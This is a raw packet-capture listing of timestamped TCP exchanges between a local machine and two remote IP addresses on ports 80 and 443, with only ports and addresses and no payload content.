Aug 30, 2024 06:17:06.969872952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969882965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969882965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969919920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969924927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969937086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.969961882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.969988108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970072985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970104933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970115900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970138073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970138073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970155954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970156908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970196962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970206976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970216990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970226049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970237017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970247984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970259905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970266104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970293999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970305920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970315933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970319033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970339060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970347881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970349073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970360994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970369101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970390081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970390081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970545053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970555067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970563889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970573902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970585108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970594883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970598936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970604897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970613003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970627069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.970648050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970648050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.970671892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.972950935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.972963095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.972973108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.972982883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.973025084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.973051071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.973062038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.973072052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.973079920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.973162889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.973162889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.973162889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.973162889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974402905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974430084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974498987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974524975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974534988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974544048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974559069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974569082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974572897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974579096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974591970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974612951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974631071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974663973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974673986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974703074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974704027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974715948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974745035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974756002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974765062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974776030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974786043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974802017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974860907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974865913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974875927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974884987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974895000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974905968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974915981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974925995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974951029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974951029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974951029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974978924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.974983931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.974994898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975003958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975044966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975044966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975044966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975070953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975083113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975091934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975117922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975117922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975150108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975159883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975174904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.975217104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.975217104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976217031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976227999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976237059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976277113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976280928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976290941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976298094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976309061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976334095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976334095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976469040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976478100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976490974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976521969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976521969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976588011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976598978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976608038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976617098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.976646900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.976646900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018400908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018515110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018523932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018532991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018543005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018557072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018568039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018573046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018575907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018587112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018595934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018604040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018606901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018615961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018616915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018629074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018635988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018656015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018659115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018667936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018676996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018680096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018687010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018696070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018707037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018707037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018719912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018738985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018796921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018805981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018815041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018821955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.018838882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018845081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.018871069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.019157887 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019174099 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019221067 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.019227982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019259930 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.019649982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019664049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019711018 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.019717932 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.019752026 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020109892 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020124912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020159006 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020190001 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020194054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020246983 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020574093 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020589113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020627022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020633936 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.020657063 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020688057 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.020751953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020761967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020793915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.020919085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020929098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020937920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020951033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.020966053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.020982981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021050930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021060944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021085024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021107912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021145105 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.021158934 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.021195889 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.021203041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021203995 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.021213055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021217108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.021223068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021231890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021241903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021249056 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.021250010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021260023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021269083 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021281004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021305084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021313906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021325111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021353006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021425962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021435976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021445036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021455050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021457911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021519899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021529913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021538973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021547079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021547079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021553040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021555901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021564960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.021579981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.021600962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.022321939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.027477980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.031584024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.031641006 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.031651974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.031717062 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.032007933 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032038927 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032066107 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.032075882 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032085896 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.032111883 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.032160997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032171965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032181025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032191992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032202005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032212019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032216072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.032222033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.032260895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.032260895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.032260895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.032373905 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032392025 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032449007 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.032454967 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.032490015 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.057709932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057722092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057730913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057775021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057785988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057785988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.057807922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057815075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.057818890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057827950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057847023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.057888985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.057956934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057966948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057976961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.057990074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058003902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058003902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058026075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058034897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058053017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058053017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058077097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058202982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058212996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058222055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058232069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058242083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058259964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058259964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058289051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058307886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058316946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058326006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058336973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058346033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058358908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058367968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058389902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058418036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058427095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058434963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058444023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058474064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058474064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058505058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058514118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058549881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058549881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058588982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058600903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058609009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058640003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058669090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058687925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058696985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058706045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058715105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058733940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058779955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058864117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058873892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058881998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058908939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.058944941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058954954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058964014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.058974028 CEST	80	49733	147.45.44.104	192.168.2.4
